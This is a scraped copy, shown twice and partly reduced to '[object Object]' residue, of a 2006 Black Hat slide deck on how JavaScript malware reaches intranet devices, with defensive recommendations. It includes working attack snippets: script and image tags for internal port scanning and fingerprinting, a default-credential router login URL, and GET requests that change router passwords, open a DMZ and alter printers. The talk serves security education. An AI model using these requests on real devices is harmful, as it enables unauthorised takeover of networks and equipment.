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Hacking Intranet Websites from the Outside Black Hat (USA) - Las Vegas 08.03.2006 "JavaScript malware just got a lot more dangerous" Jeremiah Grossman (Founder and CTO) T.C. Niedzialkowski (Sr. Security Engineer)
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],WhiteHat Sentinel - Continuous Vulnerability Assessment and Management Service for Websites.  WhiteHat Security
[object Object],[object Object],[object Object],[object Object],[object Object],Assumptions of Intranet Security
 
[object Object],Everything is web-enabled
Intranet users have access To access intranet websites, control a user (or the browser) which is on the inside.
Hacking the Intranet special thanks to: Robert “RSnake” Hansen  http://ha.ckers.org / JavaScript Malware Gets behind the firewall to attack the intranet.  operating system and browser independent
 
Contracting JavaScript Malware 1. website owner embedded JavaScript malware.  2. web page defaced with embedded JavaScript malware. 3. JavaScript Malware injected into into a public area of a website. (persistent XSS) 4. clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)
Stealing Browser History  JavaScript can make links and has access to CSS APIs See the difference?
Cycle through the most popular websites
NAT'ed IP Address  If we can get the internal subnet great, if not, we can still guess for port scanning... IP Address Java Applet This applet demonstrates that any server you visit can find out your real IP address if you enable Java, even if you're behind a firewall or use a proxy. Lars Kindermann http://reglos.de/myaddress/ Send internal IP address where JavaScript can access it <APPLET CODE=&quot;MyAddress.class&quot;> <PARAM NAME=&quot;URL&quot; VALUE=&quot;demo.html?IP=&quot;> </APPLET>
JavaScript Port Scanning  <SCRIPT SRC=” http://192.168.1 .100/”></SCRIPT> If a web server is listening on 192.168.1.100, HTML will be returned causing the JS interpreter to error. CAPTURE THE ERROR! We can send HTTP requests to anywhere, but we can  '  t access the response (same-origin policy). So how do we know if a connection is made?
 
Apache Web Server /icons/apache_pb.gif HP Printer /hp/device/hp_invent_logo.gif PHP Imae Easter eggs /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 Blind URL Fingerprinting  There is a web server listening, but can  '  t see the response, what is it? Cycle through unique URL’s using Image DOM objects <img src=” http://192.168.1 .100/unique_image_url” onerror=”fingerprint()” /> If the onerror event does NOT execute, then it  '  s the associated platform. Use OnError! Many web platforms have URL’s to images that are unique. Technically, CSS and JavaScript pages can be used for fingerprinting as well.
 
DSL Wireless/Router Hacking Login, if not already authenticated http://admin:password@192.168.1.1/ Factory defaults are handy!
Change the password /password.cgi?sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmPasswd=newpass&cfAlert_Apply=Apply POST to GET
DMZ Hacking /security.cgi?dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&dmzip3=1&dmzip4=9&wan_mtu=1500&apply=Apply&wan_way=1500 POST to GET
Network Printer Hacking /hp/device/set_config_deviceInfo.html?DeviceDescription=0WNED!&AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply POST to GET
Network Printer Hacking Auto-Fire Printer Test Pages /hp/device/info_specialPages.html?Demo=Print POST to GET
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],More Dirty Tricks
Anybody can be a victim on any website  Trusted websites are hosting malware. Cross-Site Scripting (XSS) and Cross-Site Request Forgery vulnerabilities amplify the problem.
[object Object],[object Object],[object Object],[object Object],XSS Everywhere Attacks the user of a website, not the website itself. The most common vulnerability.
Exploited on popular websites Exploitation Leads to website defacement, session hi-jacking, user impersonation, worms, phishing scams, browser trojans, and more...
[object Object],[object Object],[object Object],[object Object],CSRF, even more widespread
CSRF hack examples ,[object Object],http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00087.html http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/ A story that diggs itself Compromising your GMail contact list Contact list available in JavaScript space. <script src= http://mail.google.com/mail/?_url_scrubbed >
Worms ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],MySpace (Samy Worm) - first XSS worm 24 hours, 1 million users affected http://namb.la/popular/tech.html Yahoo Mail (JS-Yamanner) CROSS-SITE SCRIPTING WORMS AND VIRUSES  “ The Impending Threat and the Best Defense” http://www.whitehatsec.com/downloads/WHXSSThreats.pdf http://ha.ckers.org/blog/20060612/yahoo-xss-worm/
Solutions How to protect yourself Or at least try
Two Factor Authentication Corporate Web Surfing Filters Security Sockets Layer (SSL) Stay away from questionable websites  Not going to work Patching and anti-virus Useful for other threats, but not against JavaScript malware.
Better End-User Solutions ,[object Object],[object Object],[object Object],Text
We Need More Browser Security ,[object Object],[object Object],[object Object],[object Object],[object Object],Text
Fixing XSS and CSRF ,[object Object],[object Object],Text ext Preventing websites from hosting JavaScript Malware Text $data =~ s/(<|>|amp;quot;|apos;|||:)/'&#'.ord($1).';'/sge; or $data =~ s/([^])/'&#'.ord($1).';'/sge; filter HTML from output
Finding and Fixing ,[object Object],[object Object],[object Object],Text
Recommended Reading
For more information about WhiteHat Security, please call 408.492.1817 or visit our website,  www.whitehatsec.com THANK YOU! Jeremiah Grossman Founder and Chief Technology Officer [email_address] T.C. Niedzialkowski  SR. Security Engineer [email_address]

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Hacking Intranet Websites from the Outside

  • 1. Hacking Intranet Websites from the Outside Black Hat (USA) - Las Vegas 08.03.2006 &quot;JavaScript malware just got a lot more dangerous&quot; Jeremiah Grossman (Founder and CTO) T.C. Niedzialkowski (Sr. Security Engineer)
  • 2.
  • 3.
  • 4.  
  • 5.
  • 6. Intranet users have access To access intranet websites, control a user (or the browser) which is on the inside.
  • 7. Hacking the Intranet special thanks to: Robert “RSnake” Hansen http://ha.ckers.org / JavaScript Malware Gets behind the firewall to attack the intranet. operating system and browser independent
  • 8.  
  • 9. Contracting JavaScript Malware 1. website owner embedded JavaScript malware. 2. web page defaced with embedded JavaScript malware. 3. JavaScript Malware injected into into a public area of a website. (persistent XSS) 4. clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non-persistent XSS)
  • 10. Stealing Browser History JavaScript can make links and has access to CSS APIs See the difference?
  • 11. Cycle through the most popular websites
  • 12. NAT'ed IP Address If we can get the internal subnet great, if not, we can still guess for port scanning... IP Address Java Applet This applet demonstrates that any server you visit can find out your real IP address if you enable Java, even if you're behind a firewall or use a proxy. Lars Kindermann http://reglos.de/myaddress/ Send internal IP address where JavaScript can access it <APPLET CODE=&quot;MyAddress.class&quot;> <PARAM NAME=&quot;URL&quot; VALUE=&quot;demo.html?IP=&quot;> </APPLET>
  • 13. JavaScript Port Scanning <SCRIPT SRC=” http://192.168.1 .100/”></SCRIPT> If a web server is listening on 192.168.1.100, HTML will be returned causing the JS interpreter to error. CAPTURE THE ERROR! We can send HTTP requests to anywhere, but we can ' t access the response (same-origin policy). So how do we know if a connection is made?
  • 14.  
  • 15. Apache Web Server /icons/apache_pb.gif HP Printer /hp/device/hp_invent_logo.gif PHP Imae Easter eggs /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 Blind URL Fingerprinting There is a web server listening, but can ' t see the response, what is it? Cycle through unique URL’s using Image DOM objects <img src=” http://192.168.1 .100/unique_image_url” onerror=”fingerprint()” /> If the onerror event does NOT execute, then it ' s the associated platform. Use OnError! Many web platforms have URL’s to images that are unique. Technically, CSS and JavaScript pages can be used for fingerprinting as well.
  • 16.  
  • 17. DSL Wireless/Router Hacking Login, if not already authenticated http://admin:password@192.168.1.1/ Factory defaults are handy!
  • 18. Change the password /password.cgi?sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmPasswd=newpass&cfAlert_Apply=Apply POST to GET
  • 20. Network Printer Hacking /hp/device/set_config_deviceInfo.html?DeviceDescription=0WNED!&AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply POST to GET
  • 21. Network Printer Hacking Auto-Fire Printer Test Pages /hp/device/info_specialPages.html?Demo=Print POST to GET
  • 22.
  • 23. Anybody can be a victim on any website Trusted websites are hosting malware. Cross-Site Scripting (XSS) and Cross-Site Request Forgery vulnerabilities amplify the problem.
  • 24.
  • 25. Exploited on popular websites Exploitation Leads to website defacement, session hi-jacking, user impersonation, worms, phishing scams, browser trojans, and more...
  • 26.
  • 27.
  • 28.
  • 29. Solutions How to protect yourself Or at least try
  • 30. Two Factor Authentication Corporate Web Surfing Filters Security Sockets Layer (SSL) Stay away from questionable websites Not going to work Patching and anti-virus Useful for other threats, but not against JavaScript malware.
  • 31.
  • 32.
  • 33.
  • 34.
  • 36. For more information about WhiteHat Security, please call 408.492.1817 or visit our website, www.whitehatsec.com THANK YOU! Jeremiah Grossman Founder and Chief Technology Officer [email_address] T.C. Niedzialkowski SR. Security Engineer [email_address]

Notas del editor

  1. X-Forwarded-For http://metasploit.com/research/misc/decloak/
  2. http://www.0php.com/php_easter_egg.php
  3. http://www.otosoftware.com/wwhelp/Default_Router_Usernames_and_Passwords.htm
  4. http://ha.ckers.org/blog/20060608/xss-redirects-and-seo/ http://ha.ckers.org/blog/20060614/using-xss-to-dos-china/
  5. http://search.securityfocus.com/swsearch?query=cross%20site%20scripting&amp;metaname=alldoc&amp;sort=swishlastmodified&amp;sbm=bid&amp;start=0
  6. http://www.computerworld.com/securitytopics/security/holes/story/0,10801,105484,00.html http://news.com.com/Circuit+City+warns+of+online+forum+attack/2100-7349_3-6079203.html?part=rss&amp;tag=6079203&amp;subj=news http://www.theregister.co.uk/2006/06/12/javscript_worm_targets_yahoo/ http://blog.washingtonpost.com/securityfix/2006/01/account_hijackings_force_livej.html http://news.netcraft.com/archives/2006/06/16/paypal_security_flaw_allows_identity_theft.html